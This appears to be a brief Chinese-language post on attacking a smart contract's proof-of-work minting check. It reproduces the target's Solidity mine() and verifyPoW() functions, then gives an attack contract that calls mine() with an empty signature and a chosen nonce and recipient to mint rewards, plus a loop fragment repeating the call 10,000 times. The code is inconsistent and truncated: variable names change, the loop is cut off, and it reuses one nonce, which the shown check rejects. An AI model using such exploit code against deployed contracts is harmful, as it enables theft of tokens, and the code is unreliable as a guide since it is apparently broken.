PoW 验证机制漏洞攻击

    function mine(bytes memory signature, address nonce, address recipient) external {        // Verify PoW        require(verifyPoW(nonce), "Invalid PoW");        // Recover the signer from the signature        address signer = recoverSigner(signature, nonce);        require(signer == nonce, "Signature verification failed");        // Mark the nonce as used        usedNonces[nonce] = true;        uint256 mintedReward = getCurrentReward();        _adjustDifficulty();        _adjustMiningReward();        _mint(recipient, mintedReward);        emit RewardFound(recipient, mintedReward);    }    function verifyPoW(address nonce) public view returns (bool) {        require(!usedNonces[nonce], "Nonce already used");        bytes32 hash = keccak256(abi.encodePacked(nonce));        uint256 target = calculateTarget();        bool isValid = uint256(hash) < target;        return isValid;    }

// SPDX-License-Identifier: MITpragma solidity ^0.8.9;contract xxAttack {    // 合约地址    address public xxAddress;    // 事件用于跟踪攻击    event RewardReceived(address indexed recipient, uint256 amount);    // 构造函数，接收 xx 合约地址    constructor(address _xxAddress) {        xxAddress = _xxAddress;    }    // 攻击函数，模拟利用 PoW 验证机制漏洞的过程    function attack(address nonce, address recipient) external {        // 调用 xx 合约的 mine 函数，传入伪造的参数        (bool success, bytes memory data) = xxAddress.call(abi.encodeWithSignature("mine(bytes,address,address)", "", nonce, recipient));        // 如果调用成功，表示攻击成功        if (success) {            emit RewardReceived(recipient, 12e18); // 模拟奖励收到的事件        } else {            revert("Attack failed"); // 如果调用失败，则回滚并抛出错误        }    }}

        for (uint i = 0; i < 10000; i++) {            // 调用 xx 合约的 mine 函数，传入伪造的参数            (bool success, bytes memory data) = xxxAddress.call(abi.encodeWithSignature("mine(bytes,address,address)", "", nonce, recipient));            // 如果调用成功，表示攻击成功            if (success) {                emit RewardReceived(recipient, 12e18); // 模拟奖励收到的事件            } else {                revert("Attack failed"); // 如果调用失败，则回滚并抛出错误